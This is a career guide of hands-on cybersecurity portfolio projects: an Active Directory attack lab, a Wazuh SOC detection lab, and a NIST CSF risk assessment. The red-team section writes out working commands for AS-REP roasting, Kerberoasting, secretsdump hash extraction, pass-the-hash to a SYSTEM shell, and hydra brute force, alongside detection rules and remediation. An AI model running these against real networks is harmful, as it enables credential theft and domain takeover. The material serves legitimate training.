CYBERSECURITY CAREER RESOURCES

Build 3 Projects That Actually Get You Noticed

Step-by-step portfolio projects for career-switchers.
No CS degree. No expensive certs. Just hands-on proof.

- **01 RED** Active Directory Attack Lab + Pentest Report
- **02 BLUE** SOC Home Lab with Detection Writeups
- **03 GRC** Full Risk Assessment for a Fictional Company

Shlesha

Mechanical engineer turned to cybersecurity career path.

CONTENTS

What's Inside

Three complete project guides — each producing a real portfolio artifact.

Introduction: Why Portfolio Projects Win Interviews 02

PROJECT 01 — RED TEAM

Active Directory Attack Lab + Pentest Report 03

- Prerequisites & Architecture 04
- Building the Domain Controller 05
- Configuring Intentionally Vulnerable AD 06
- Attack Execution: 4 Techniques 07
- Writing the Pentest Report 09

PROJECT 02 — BLUE TEAM

SOC Home Lab with Detection Writeups 12

- Architecture & Prerequisites 13
- Deploying Wazuh SIEM on Ubuntu 14
- Configuring the Windows Victim + Sysmon 15
- 3 Attack & Detect Scenarios 16
- Incident Report Template 18

PROJECT 03 — GRC

Full Risk Assessment: ClearPay Solutions 19

- Company Scenario & Scope 20
- Asset Inventory & Risk Register 21
- NIST CSF 2.0 Gap Analysis 22
- Treatment Plan 23
- Acceptable Use Policy (Full Template) 24

What's Next: Your 90-Day Roadmap 26

INTRODUCTION

Why Portfolio Projects Win Interviews

Hiring managers in cybersecurity interview candidates differently from other fields. They don't trust certification scores. They ask you to walk them through something you built. "Tell me about a time you ran a Kerberoasting attack" is a very different question from "tell me what Kerberoasting is." The first requires proof. The second requires Wikipedia.

That's the problem with most entry-level cybersecurity job seekers. They can explain concepts but they haven't executed them. These three projects fix that. Each one ends with a written artifact — a pentest report, a set of detection writeups, a risk register — because the artifact is what you bring to the interview, what you upload to GitHub, what you reference on your LinkedIn.

The Three Portfolio Tracks

Red Team

Build a real AD lab, execute 4 attacks, write a pentest report with CVSS scores and remediation. Targets SOC Tier 2, pentesting, vulnerability assessment roles.

Blue Team

Deploy a SIEM, attack your own lab, write detection rules and incident reports. Targets SOC Tier 1/2, security analyst, threat detection roles.

GRC

Complete a risk assessment against NIST CSF 2.0, write a risk register and policy document. Targets GRC analyst, compliance, risk management roles.

How to Use This Guide

- **Pick one track.** Start with what aligns with the job title you're targeting. Don't do all three at once — depth beats breadth.
- **Document as you go.** Take screenshots at every step. Your written outputs are the project — the lab is just how you generate the evidence.
- **Make it yours.** Change usernames, IP ranges, company names. A portfolio that looks like it's from a template is less credible than one that looks like your work.
- **Frame it accurately in interviews.** "I built an AD lab and ran Kerberoasting, then wrote a finding with remediation" is accurate and impressive. "I hacked into Active Directory" is overclaiming.

> **TIME ESTIMATES**
>
> Red Team AD Lab: 10–15 hours to build and attack, 4–6 hours for the report. Blue Team SOC Lab: 6–10 hours setup, 2–3 hours per scenario writeup. GRC Risk Assessment: 8–12 hours total, mostly document work.

What You'll Produce

Project	Deliverable	Where to Showcase
Red Team	Pentest report (5–10 pages, PDF)	GitHub, LinkedIn, interview packet

Project	Deliverable	Where to Showcase
Blue Team	5–10 incident report writeups	GitHub Pages, personal site, resume
GRC	Risk assessment + 1 policy document	Portfolio site, interview packet, LinkedIn

✓ PORTFOLIO TIP

When referencing these in interviews, lead with what you found or detected — not the tool you used. "I discovered that the service account password was weak enough to crack in under 10 minutes" is more compelling than "I ran Hashcat."

01

RED TEAM PROJECT

Active Directory Attack Lab

Set up a realistic Windows domain, configure it with intentional misconfigurations, execute four real attack techniques, and write a full pentest report with CVSS scores and remediation steps.

VirtualBox | Windows Server 2022 | Kali Linux | Impacket | Hashcat | Pentest Report

PROJECT 01 — RED TEAM

Overview & Prerequisites

This lab mimics a real corporate Windows environment with a Domain Controller, a client workstation, and an attacker machine on an isolated network. The domain is configured with the most common AD misconfigurations seen in real VAPT engagements — weak service account passwords, accounts with disabled Kerberos pre-authentication, and NTLM hashes in memory. You'll exploit all of them.

Lab Architecture



All three VMs on an isolated VirtualBox Host-Only network (192.168.56.0/24). No internet required during attacks.

What You Need (All Free)

VirtualBox
virtualbox.org — free hypervisor, all platforms

Windows Server 2022
180-day eval ISO from Microsoft — free

Windows 10
ISO from microsoft.com/en-us/software-download

Kali Linux
kali.org — pre-built VirtualBox OVA is fastest

System Requirements

VM	RAM	Storage	Purpose
Windows Server 2022 (DC01)	4 GB	50 GB	Domain Controller
Windows 10 (CLIENT01)	4 GB	40 GB	Domain-joined workstation
Kali Linux	4 GB	30 GB	Attacker
Total	**12–16 GB**	**~120 GB**	

⚠ **IMPORTANT**

Never run this lab on a production network. Use VirtualBox's Host-Only adapter only. This keeps all traffic between VMs and prevents accidental attacks against real systems.

PROJECT 01 — RED TEAM

Building the Lab Environment

1 Create the Host-Only Network in VirtualBox

In VirtualBox: File → Host Network Manager → Create. Set the network to 192.168.56.0/24 and disable the DHCP server. You'll assign static IPs to each VM manually so they stay predictable.

2 Install Windows Server 2022 (DC01)

Create a new VM, attach the Server 2022 ISO, and choose "Windows Server 2022 Standard Evaluation (Desktop Experience)." Complete the installation and log in as Administrator.

Set a static IP via Settings → Network:

POWERSHELL — SET STATIC IP

```
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.56.10 -PrefixLength 24
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 192.168.56.10
Rename-Computer -NewName "DC01" -Restart
```

3 Install Active Directory Domain Services

After the reboot, install the AD DS role and promote the server to a Domain Controller:

POWERSHELL — INSTALL & CONFIGURE AD DS

```
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

Install-ADDSForest `
  -DomainName "corp.local" `
  -SafeModeAdministratorPassword (ConvertTo-SecureString "Admin@Corp2024" -AsPlainText -
Force) `
  -DomainNetbiosName "CORP" `
  -InstallDNS `
  -Force
```

The server will reboot. Log in as CORP\Administrator when it returns.

4 Install and Join the Windows 10 Client

Create a second VM with the Windows 10 ISO. Set static IP 192.168.56.20, DNS pointing to DC01:

POWERSHELL — JOIN DOMAIN

```
$cred = Get-Credential  # Enter CORP\Administrator when prompted
Add-Computer -DomainName "corp.local" -Credential $cred -Restart
```

✓ **SNAPSHOT TIP**

> Take a VirtualBox snapshot of DC01 right after domain setup and before creating users. If something breaks during the attack phase, you can roll back without rebuilding from scratch.

PROJECT 01 — RED TEAM

Configuring Intentionally Vulnerable AD

A clean AD environment would resist most of the attacks below. You need to deliberately introduce the misconfigurations that appear in real organizations. This is the most educational part of the lab — you're simulating what defenders fail to catch.

5 Create Users with Realistic Roles

POWERSHELL — CREATE OU AND USERS

```
New-ADOrganizationalUnit -Name "CorpUsers" -Path "DC=corp,DC=local"

# Regular domain user
New-ADUser -Name "John Smith" -SamAccountName "jsmith" `
  -AccountPassword (ConvertTo-SecureString "Welcome1!" -AsPlainText -Force) `
  -Enabled $true -Path "OU=CorpUsers,DC=corp,DC=local"

# IT Admin (will be escalation target)
New-ADUser -Name "IT Admin" -SamAccountName "itadmin" `
  -AccountPassword (ConvertTo-SecureString "Admin@2024" -AsPlainText -Force) `
  -Enabled $true -Path "OU=CorpUsers,DC=corp,DC=local"
Add-ADGroupMember -Identity "Domain Admins" -Members "itadmin"
```

6 Configure Kerberoasting Target (Service Account with SPN)

Service accounts with SPNs are Kerberoastable. We're creating one with a weak password — common in real environments where service accounts are set once and forgotten.

POWERSHELL — SERVICE ACCOUNT + SPN

```
New-ADUser -Name "SQL Service Account" -SamAccountName "svc_sql" `
  -AccountPassword (ConvertTo-SecureString "Sql@service1" -AsPlainText -Force) `
  -Enabled $true -Description "SQL Server service account"

# Assign SPN — this makes the account Kerberoastable
Set-ADUser -Identity svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/sqlserver.corp.local:
1433"}
```

7 Configure AS-REP Roasting Target (Disable Pre-authentication)

When pre-authentication is disabled on an account, anyone can request a Kerberos ticket for that user without knowing the password — and crack it offline.

POWERSHELL — DISABLE PRE-AUTH

```
New-ADUser -Name "Alice Adams" -SamAccountName "aadams" `
  -AccountPassword (ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force) `
  -Enabled $true

# This flag is the vulnerability — disables Kerberos pre-auth
Set-ADAccountControl -Identity aadams -DoesNotRequirePreAuth $true
```

8 Set Up Kali Linux (Attacker)

Import the Kali OVA or install from ISO. Set the network adapter to the same Host-Only network. Assign static IP 192.168.56.30. Update and install Impacket:

KALI TERMINAL

```
sudo ip addr add 192.168.56.30/24 dev eth0
sudo ip link set eth0 up

sudo apt update && sudo apt install -y impacket-scripts hashcat
# Verify Impacket is available
impacket-GetNPUsers --help
```

ℹ WHY THESE MISCONFIGURATIONS?

All three vulnerabilities above — weak service account passwords, disabled pre-auth, and NTLM hashes in memory — appear regularly in real organization pentests. They're not exotic. They're found because AD is hard to maintain and these settings often survive for years.

PROJECT 01 — RED TEAM

Attack Execution: 4 Techniques

Run each attack from Kali. Document the commands, the output, and what the finding means for each one. This documentation becomes your pentest report findings.

Attack 1 — Network Reconnaissance

Before attacking anything, map the environment. This mirrors a real engagement where you start with nothing except a network range.

KALI — NMAP SCAN

```
nmap -sV -p 88,135,139,389,445,636,3268,3389 192.168.56.10 -oN dc_scan.txt
# Port 88 = Kerberos. Port 389 = LDAP. Port 445 = SMB. These confirm it's a DC.
```

> ✓ **DOCUMENT THIS**
>
> Screenshot the nmap output. In your report, this becomes "Enumeration" under methodology and feeds your finding: "Domain Controller identified at 192.168.56.10 with unnecessary ports exposed."

Attack 2 — AS-REP Roasting (No Credentials Needed)

This works against accounts with Kerberos pre-authentication disabled — like aadams. No credentials required.

KALI — AS-REP ROASTING WITH IMPACKET

```
echo "aadams" > users.txt
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass   -dc-ip 192.168.56.10 -outputfile
asrep_hashes.txt
cat asrep_hashes.txt
# Output: $krb5asrep$23$aadams@CORP.LOCAL:... (AS-REP hash)

# Crack offline with hashcat (rockyou is on Kali at this path)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
```

Attack 3 — Kerberoasting (One Valid Credential)

With the cracked aadams password (or using jsmith), request a service ticket for svc_sql and crack it offline.

KALI — KERBEROASTING

```
impacket-GetUserSPNs corp.local/jsmith:Welcome1!   -dc-ip 192.168.56.10   -request   -outputfile
kerb_hashes.txt
```

```
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt --force
# svc_sql hash cracks to: Sql@service1
```

PROJECT 01 — RED TEAM

Attack 4 — Pass-the-Hash to Domain Admin

With the svc_sql credentials, extract NTLM hashes from the domain. If itadmin (a Domain Admin) has ever logged into any machine on the network, their NTLM hash may be in memory or the SAM database. You can use that hash directly without knowing the password.

A Extract Hashes with secretsdump

KALI — DUMP NTLM HASHES FROM DC

```
impacket-secretsdump corp.local/itadmin:Admin@2024@192.168.56.10
# Output includes all domain account hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Note the NTLM hash (second hash after the colon)
```

B Pass the Hash — Get a Shell as Administrator

KALI — PSEXEC WITH NTLM HASH

```
impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0   corp.local/
Administrator@192.168.56.10
# You now have a SYSTEM shell on the Domain Controller
C:\Windows\system32> whoami
nt authority\system
```

> ⚠ **ACCURACY NOTE FOR YOUR REPORT**
>
> Pass-the-Hash works against NTLM authentication. Modern environments that enforce Kerberos and have Credential Guard enabled are more resistant. Note this context in your finding — it shows you understand the real-world scope.

Attack Summary — What You Proved

Attack	Starting Point	Result	MITRE ATT&CK
Recon	Network range only	DC identified, ports mapped	T1046
AS-REP Roasting	No credentials	User password cracked	T1558.004
Kerberoasting	1 valid user	Service account password cracked	T1558.003
Pass-the-Hash	NTLM hash	Domain Admin shell on DC	T1550.002

PROJECT 01 — RED TEAM

Writing the Pentest Report

The report is the deliverable. Everything you did in the lab exists to populate this document. Use the structure below — it mirrors professional pentest report formats used in actual VAPT engagements.

Report Structure

1. Executive Summary (1 page)

Written for a non-technical audience — a CEO or board member. Cover: what was tested, what was found at a high level, and the top 2–3 business risks. No technical jargon. Example opening:

> "*During a simulated internal network assessment of the corp.local domain, critical vulnerabilities were identified that could allow an unauthenticated attacker to compromise all domain accounts within a corporate network. The most severe finding allows offline password cracking without any prior access to the network.*"

2. Scope & Methodology

Define what was in scope (IP range, systems), assessment dates, and the methodology (Black Box / Grey Box / White Box). State which framework guides the assessment — PTES (Penetration Testing Execution Standard) or OWASP Testing Guide are common references.

3. Findings (one card per vulnerability)

Use the finding format shown below — title, severity, CVSS score, description, evidence, impact, remediation.

4. Risk Summary Matrix

A one-page table showing all findings, severity, and remediation priority. Gives leadership a quick view of the whole attack surface.

5. Remediation Recommendations

Grouped by priority: Critical (patch within 24hrs), High (within 7 days), Medium (within 30 days). Each should include the specific action, not just "fix this."

Sample Finding Cards

CRITICAL **F-01: NTLM Hash Capture Enables Domain Admin Compromise** CVSS: 9.0

Description: NTLM hashes for privileged accounts were extractable from domain controller memory using secretsdump. These hashes were usable for direct Pass-the-Hash authentication without requiring password cracking.

Evidence: SYSTEM-level shell obtained on DC01 (192.168.56.10) via impacket-psexec using the Administrator NTLM hash extracted from the SAM database. Screenshot: [attach terminal output showing "nt authority\system"].

Impact: Complete domain compromise. All user accounts, data, and systems within corp.local are under attacker control.

Remediation: Enable Credential Guard on all Windows 10/11 endpoints. Enforce Kerberos-only authentication. Audit accounts with Domain Admin privileges — reduce to minimum required.

HIGH **F-02: AS-REP Roasting — Pre-Auth Disabled on User Account** CVSS: 7.5

Description: Account "aadams" has Kerberos pre-authentication disabled, allowing an unauthenticated attacker to request an AS-REP ticket and attempt offline password cracking.

Evidence: AS-REP hash retrieved for aadams with no credentials. Hash cracked in under 60 seconds using Hashcat and the rockyou wordlist. Recovered password: Passw0rd!

Remediation: Enable Kerberos pre-authentication on all accounts unless there is a documented technical requirement for it to be disabled. Enforce password length minimum of 16 characters for all accounts.

02

BLUE TEAM PROJECT

SOC Home Lab with Detection Rules

Deploy a real SIEM, configure endpoint logging with Sysmon, simulate attacks from Kali, write detection rules that fire on those attacks, and document everything as incident reports.

Wazuh SIEM | Ubuntu 22.04 | Sysmon | Windows 10 | Atomic Red Team | MITRE ATT&CK

PROJECT 02 — BLUE TEAM

Architecture Overview

The most common beginner misconception: "I installed Kali so I have a SOC lab." Kali is the attacker. A SOC lab needs a SIEM (to collect and analyze logs), a victim machine (to generate telemetry), and an attacker (to create the events you're detecting). All three roles are different VMs.

SOC Lab — Three-VM Architecture



Kali attacks the Windows victim. Sysmon on Windows captures every event. Wazuh agent forwards logs to the SIEM. You detect, write rules, re-run, and document.

What You Need

Ubuntu 22.04 LTS
Server ISO from ubuntu.com. Free. This runs your SIEM.

Windows 10
From Project 1 or fresh install. Runs Sysmon + Wazuh agent.

Kali Linux
From Project 1 or fresh OVA from kali.org.

Wazuh
Free, open-source SIEM. Single-node install via script. wazuh.com

RAM Requirements

VM	RAM	Storage
Ubuntu 22.04 (SIEM)	6 GB (min 4 GB)	50 GB
Windows 10 (Victim)	4 GB	40 GB
Kali Linux (Attacker)	2–4 GB	20 GB

i MEMORY-SAVING TIP

Wazuh needs the most RAM. If you're limited to 12 GB total, allocate 6 GB to Ubuntu, 4 GB to Windows, and 2 GB to Kali. Only run Kali when you're actively executing attack scenarios — shut it down between sessions.

PROJECT 02 — BLUE TEAM

Deploying Wazuh SIEM on Ubuntu

1 Install Ubuntu Server 22.04

Create a VM with 6 GB RAM, 50 GB disk. Use the Host-Only adapter. During install, set static IP 192.168.56.40 when prompted for network configuration. Enable OpenSSH during setup.

2 Run the Wazuh All-in-One Install Script

This single command installs Wazuh Manager, Indexer, and Dashboard — everything you need for a complete SIEM in one node.

UBUNTU TERMINAL

```
sudo apt update && sudo apt install -y curl
curl -sO https://packages.wazuh.com/4.9/wazuh-install.sh
sudo bash wazuh-install.sh -a
# Installation takes 10–20 minutes. At the end you'll see:
# User: admin | Password: <generated_password>
# SAVE THIS PASSWORD — you'll need it to log into the dashboard
```

3 Access the Wazuh Dashboard

Open a browser on your host machine and navigate to:

DASHBOARD URL

```
https://192.168.56.40
# Accept the self-signed certificate warning
# Login with: admin / [password from install output]
```

You should see the Wazuh Overview dashboard. It will show 0 agents — you'll add the Windows VM next.

4 Verify Services Are Running

UBUNTU — SERVICE CHECK

```
sudo systemctl status wazuh-manager
sudo systemctl status wazuh-indexer
sudo systemctl status wazuh-dashboard
# All three should show: Active (running)
```

✓ IF WAZUH DASHBOARD DOESN'T LOAD

Wait 3–5 minutes after install. The indexer takes time to initialize. If it still doesn't load, run: sudo systemctl restart wazuh-dashboard

PROJECT 02 — BLUE TEAM

Configuring the Windows Victim

Sysmon is what turns Windows from a mediocre logging source into a high-fidelity detection machine. It captures process creation, network connections, file creation times, and more — in far more detail than Windows Event Logs alone. The SwiftOnSecurity config is the industry-standard starting configuration.

5 Install Sysmon with SwiftOnSecurity Config

POWERSHELL (RUN AS ADMINISTRATOR)

```
# Download Sysmon
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile
"$env:TEMP\Sysmon.zip"
Expand-Archive "$env:TEMP\Sysmon.zip" -DestinationPath "$env:TEMP\Sysmon" -Force

# Download the SwiftOnSecurity config
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/
master/sysmonconfig-export.xml" -OutFile "$env:TEMP\sysmonconfig.xml"

# Install Sysmon
Start-Process "$env:TEMP\Sysmon\Sysmon64.exe" -ArgumentList "-accepteula -i
$env:TEMP\sysmonconfig.xml" -Verb RunAs -Wait

# Verify it's running
Get-Service Sysmon64
```

6 Install the Wazuh Agent on Windows

In the Wazuh dashboard: Agents → Deploy new agent → Windows. Copy the generated install command. Or run this manually:

POWERSHELL — INSTALL WAZUH AGENT

```
# Replace the URL with current version from packages.wazuh.com/4.x/windows/
Invoke-WebRequest -Uri "https://packages.wazuh.com/4.x/windows/wazuh-agent-4.9.0-1.msi" -
OutFile "$env:TEMP\wazuh-agent.msi"

msiexec /i "$env:TEMP\wazuh-agent.msi" `
  WAZUH_MANAGER="192.168.56.40" `
  WAZUH_AGENT_NAME="WIN10-VICTIM" /qn

NET START WazuhSvc
```

7 Configure Sysmon Log Forwarding

Tell the Wazuh agent to also forward Sysmon event logs. Edit the agent config file at C:\Program Files (x86)\ossec-agent\ossec.conf and add inside the <ossec_config> block:

OSSEC.CONF — ADD SYSMON CHANNEL

```
<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
```

Restart the agent: NET RESTART WazuhSvc

✓ VERIFY IN DASHBOARD

After restarting the agent, go to Wazuh dashboard → Agents. WIN10-VICTIM should appear as Active (green). Click on it and check that Sysmon events are flowing under Security Events.

PROJECT 02 — BLUE TEAM

Attack & Detect: 3 Scenarios

Each scenario follows the same loop: attack from Kali → check Wazuh for the alert → write or tune a detection rule → re-run to confirm it fires → document as an incident report. This is exactly how detection engineers work.

Scenario 1 — Port Scan Detection

A Execute (Kali)

KALI TERMINAL

```
nmap -sS -p 1-1000 192.168.56.50 -T4
```

B Detect (Wazuh)

In the Wazuh dashboard → Security Events → filter by WIN10-VICTIM. Look for Sysmon Event ID 3 (Network Connections) firing repeatedly from 192.168.56.30 in a short window. Wazuh ships a built-in rule for this — search for rule.description:"Multiple connection attempts."

Scenario 2 — Brute Force Detection

A Execute (Kali)

KALI TERMINAL

```
hydra -l administrator -P /usr/share/wordlists/rockyou.txt   smb://192.168.56.50 -t 4
# This will generate many Windows Event ID 4625 (failed logon) events
```

B Write a Custom Brute Force Detection Rule

On the Ubuntu SIEM, add this to /var/ossec/etc/rules/local_rules.xml:

```
<group name="brute_force">
  <rule id="100001" level="12">
    <if_matched_sid>60204</if_matched_sid>
    <same_field>win.eventdata.targetUserName</same_field>
    <description>Brute force: multiple failed Windows logins against same account</description>
    <mitre><id>T1110.001</id></mitre>
  </rule>
</group>
```

UBUNTU — RESTART WAZUH MANAGER

```
sudo systemctl restart wazuh-manager
```

Scenario 3 — Credential Dumping Simulation

A Install Atomic Red Team on Windows Victim

POWERSHELL — INSTALL ATOMIC RED TEAM

```
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -Force
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/
install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics -Force
```

B Simulate LSASS Credential Dumping

POWERSHELL — RUN ATOMIC TEST

```
Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1"
# T1003.001 = OS Credential Dumping: LSASS Memory
Invoke-AtomicTest T1003.001 -ShowDetails
Invoke-AtomicTest T1003.001
```

This simulates a process opening a handle to lsass.exe — the same thing tools like Mimikatz do. Sysmon captures this as Event ID 10 (ProcessAccess where TargetImage = lsass.exe).

C Write the Credential Dumping Detection Rule

```
<rule id="100002" level="15">
  <if_group>windows</if_group>
  <field name="win.system.eventID">10</field>
  <field name="win.eventdata.targetImage" type="pcre2">lsass\.exe</field>
  <description>Sysmon: Possible LSASS credential dumping attempt</description>
  <mitre><id>T1003.001</id></mitre>
</rule>
```

PROJECT 02 — BLUE TEAM

Incident Report Template

Every scenario you run and detect becomes one incident report. Five to ten of these, documented clearly with log evidence, is a strong SOC portfolio. Use this format for each:

INC-001: Brute Force Attack Against Administrator Account — SEVERITY: HIGH

Date/Time	[Date] at [Time] UTC — first alert fired
Alert	Wazuh Rule 100001 — Brute force: multiple failed Windows logins against same account
Source IP	192.168.56.30 (Kali attacker)
Target	WIN10-VICTIM (192.168.56.50) — account: Administrator
Log Evidence	32 Windows Event ID 4625 (Failed Logon) events in 45 seconds. Target username: Administrator. Logon Type: 3 (Network). Source: 192.168.56.30.
Analysis	SMB brute force attack using a wordlist against the local Administrator account. Attack tool signature consistent with Hydra (parallel connection pattern, 4 concurrent threads). No successful logon observed (Event ID 4624 not triggered).
MITRE ATT&CK	T1110.001 — Password Guessing
Verdict	True Positive
Containment	In a real environment: block 192.168.56.30 at firewall, disable SMB if not required, enable account lockout policy (5 failures / 15 minutes).

i HOW TO BUILD YOUR PORTFOLIO WITH THESE

Document at least 5 scenarios, each with a completed incident report. Export each as a PDF. Host them in a GitHub repo named "soc-lab-writeups". In your README, list each scenario by MITRE ATT&CK technique number. This format is immediately recognizable to hiring managers who work in detection.

03

GRC PROJECT

Full Risk Assessment: ClearPay Solutions

Complete a professional-grade risk assessment for a fictional fintech startup. Produce an asset inventory, a scored risk register, a NIST CSF 2.0 gap analysis, a treatment plan, and an Acceptable Use Policy.

NIST CSF 2.0 | Risk Register | Gap Analysis | Treatment Plan | Acceptable Use Policy

PROJECT 03 — GRC

Company Scenario & Scope

Meet ClearPay Solutions

ClearPay Solutions is a 20-person fintech startup that processes payments for small businesses through an API. They handle customer PII (names, addresses, card data tokens) and financial transaction records. Their infrastructure runs on AWS, with a small on-premises office network in Mumbai.

Company Size
20 employees — 3 developers, 2 data analysts, 1 IT admin, 14 business/operations staff

Industry
Financial services / payment processing. Handles PII and cardholder data.

Infrastructure
AWS (EC2, RDS, S3), on-prem office network, employee laptops (Windows + Mac mix)

Compliance Context
PCI-DSS adjacent (tokenized card data). RBI data localization considerations.

Assessment Scope

> **i WHAT'S IN SCOPE**
>
> All ClearPay information assets that store, process, or transmit customer data: AWS infrastructure, employee devices, source code, vendor integrations, and office network. People and processes are also in scope — policies, training, and incident response procedures.

Assessment Framework

This assessment is structured against the **NIST Cybersecurity Framework (CSF) 2.0**, released February 2024. CSF 2.0 has six functions: Govern, Identify, Protect, Detect, Respond, and Recover. Govern is new in version 2.0 and sits above the other five, covering organizational risk management strategy and oversight.

Risk Scoring Formula

Risk is scored using: **Likelihood (1–5) × Impact (1–5) = Risk Score**

1-6	7–12	13–19	20–25
LOW	MEDIUM	HIGH	CRITICAL

PROJECT 03 — GRC

Step 1 — Asset Inventory

Every risk assessment starts with understanding what you're protecting. You can't assess risk to assets you haven't identified. Document each asset with an ID, type, data classification, owner, and criticality rating.

ID	Asset Name	Type	Data Stored	Owner	Criticality
A-001	Payment Processing API (AWS EC2)	Application	Transaction data, tokens	CTO	**Critical**
A-002	Customer Database (AWS RDS)	Data	PII, payment records	CISO	**Critical**
A-003	Source Code Repository (GitHub)	Software	Proprietary code, API keys (historical)	Dev Lead	**High**
A-004	Cloud Storage (AWS S3)	Storage	Logs, backups, reports	DevOps	**High**
A-005	Employee Laptops (×20)	Hardware	Email, documents, dev credentials	IT Admin	**High**
A-006	Office Network + WiFi	Network	Transit data	IT Admin	**Medium**
A-007	Employee Email (Google Workspace)	SaaS	Internal comms, sensitive docs	IT Admin	**High**
A-008	AWS IAM / Access Management	Identity	Access credentials, permissions	DevOps	**Critical**

✓ HOW TO CUSTOMIZE THIS FOR YOUR PORTFOLIO

Change the company type (clinic, e-commerce startup, logistics firm). Change the asset names to match. The structure stays the same — you're learning the methodology, not memorizing a template. Different industry = different data classification = different risks.

PROJECT 03 — GRC

Step 2 — Risk Register

The risk register maps each asset to a threat, identifies the underlying vulnerability that enables the threat, and scores the risk. This is the core GRC deliverable — everything else in the assessment references it.

ID	Asset	Threat	Vulnerability	L	I	Score	Level
R-001	A-002 (Customer DB)	Unauthorized data access	No MFA on database admin accounts	4	5	20	**CRITICAL**
R-002	A-001 (Payment API)	Ransomware / service disruption	EC2 instances running unpatched OS (Amazon Linux 2, EOL)	3	5	15	**HIGH**
R-003	A-005 (Laptops)	Phishing / initial access	No email security gateway; no security awareness training	4	4	16	**HIGH**
R-004	A-003 (Source Code)	API key / secret exposure	No secrets scanning in CI/CD; historical commits may contain keys	3	5	15	**HIGH**
R-005	A-008 (IAM)	Privilege escalation	Overly permissive IAM policies; multiple users with AdministratorAccess	3	5	15	**HIGH**
R-006	A-004 (S3)	Data breach via misconfiguration	No automated check for public S3 bucket permissions	3	4	12	**MEDIUM**
R-007	A-006 (Office Network)	Man-in-the-middle on WiFi	Shared WPA2 password; no network segmentation	2	4	8	**MEDIUM**
R-008	A-001 (Payment API)	DDoS / availability impact	No WAF or DDoS protection on API endpoint	2	5	10	**MEDIUM**

L = Likelihood (1–5) | I = Impact (1–5) | Score = L × I | Critical: 20–25 | High: 13–19 | Medium: 7–12 | Low: 1–6

PROJECT 03 — GRC

Step 3 — NIST CSF 2.0 Gap Analysis

For each of the six CSF 2.0 functions, document ClearPay's current state, the expected target state, and what's missing. This tells the organization where to focus resources.

GV GOVERN — Organizational Cybersecurity Risk Management

Current:	No formal cybersecurity policy exists. No designated CISO. Security decisions made ad-hoc by CTO.
Target:	Documented cybersecurity policy, assigned security ownership, quarterly risk review cadence.
Gap:	HIGH — No governance foundation. All other controls depend on this being in place first.

ID IDENTIFY — Asset Management & Risk Assessment

Current:	No formal asset inventory. Developers manage their own AWS resources without central visibility.
Target:	Complete asset inventory (as built in this assessment), quarterly review cycle, AWS Config enabled.
Gap:	HIGH — Asset inventory is new (this document). No prior risk assessments conducted.

PR PROTECT — Access Control, Training & Data Security

Current:	MFA enabled on Google Workspace but NOT on AWS console. No formal access review. No security training program.
Target:	MFA on all critical systems. Quarterly access reviews. Annual security awareness training. Endpoint encryption enforced.
Gap:	HIGH — Critical gaps: AWS MFA missing (maps to R-001, R-005). No training program (maps to R-003).

DE DETECT — Continuous Monitoring & Anomaly Detection

Current:	AWS CloudTrail enabled but logs not reviewed. No SIEM. No alerting on unusual API activity.
Target:	CloudTrail logs ingested into a SIEM (AWS Security Hub or third-party). Alerting on critical events: root account use, failed logins, public S3 access.
Gap:	MEDIUM — Logging exists but is not actionable. Low cost to fix: enable Security Hub, set 3–5 CloudWatch alarms.

RS RESPOND — Incident Response

Current: No incident response plan. No defined roles. One prior data issue handled informally via group chat.

Target: Documented IR plan with defined roles, contact trees, and tested runbooks for the top 3 scenarios (data breach, ransomware, account compromise).

Gap: HIGH — No documented plan means no consistent response. First incident will be chaotic.

RC RECOVER — Recovery Planning & Business Continuity

Current: AWS RDS automated backups enabled (7-day retention). No tested recovery procedure. No defined RTO/RPO.

Target: Defined RTO (4 hours) and RPO (1 hour). Recovery runbooks written and tested annually. Backups tested quarterly.

Gap: MEDIUM — Backups exist but recovery has never been tested. One untested backup is not a recovery plan.

PROJECT 03 — GRC

Step 4 — Risk Treatment Plan

For each risk, choose a treatment option: **Mitigate** (reduce likelihood or impact), **Transfer** (insurance or third-party), **Accept** (document and monitor), or **Avoid** (stop the activity). Most risks will be mitigated.

Risk ID	Treatment	Action Required	Owner	Timeline	Cost Est.
R-001	Mitigate	Enable MFA on all AWS IAM accounts, starting with admin accounts. Use AWS Organizations SCP to enforce.	IT Admin	7 days	$0 (AWS native)
R-002	Mitigate	Migrate EC2 to Amazon Linux 2023 (supported). Enable AWS Systems Manager Patch Manager for automated patching.	DevOps	14 days	Low
R-003	Mitigate	Deploy Google Workspace email filtering (built-in). Run 30-minute phishing awareness session for all staff. Annual repeat.	IT Admin + HR	30 days	$0 / Low
R-004	Mitigate	Enable GitHub Advanced Security secret scanning on all repos. Rotate any exposed credentials immediately. Add pre-commit hooks.	Dev Lead	7 days	GitHub plan cost
R-005	Mitigate	Audit IAM policies using AWS IAM Access Analyzer. Remove AdministratorAccess from all non-emergency accounts. Implement least privilege.	DevOps	21 days	$0 (AWS native)
R-006	Mitigate	Enable AWS S3 Block Public Access at account level. Set up Config rule: s3-bucket-public-read-prohibited.	DevOps	3 days	$0
R-007	Mitigate	Implement WPA3-Enterprise or separate guest/ corporate networks. Rotate WiFi passwords quarterly.	IT Admin	30 days	Low
R-008	Transfer / Mitigate	Enable AWS Shield Standard (free). Evaluate AWS WAF for API. Add to cyber insurance coverage.	CTO	30 days	AWS WAF cost

✓ PORTFOLIO PRESENTATION TIP

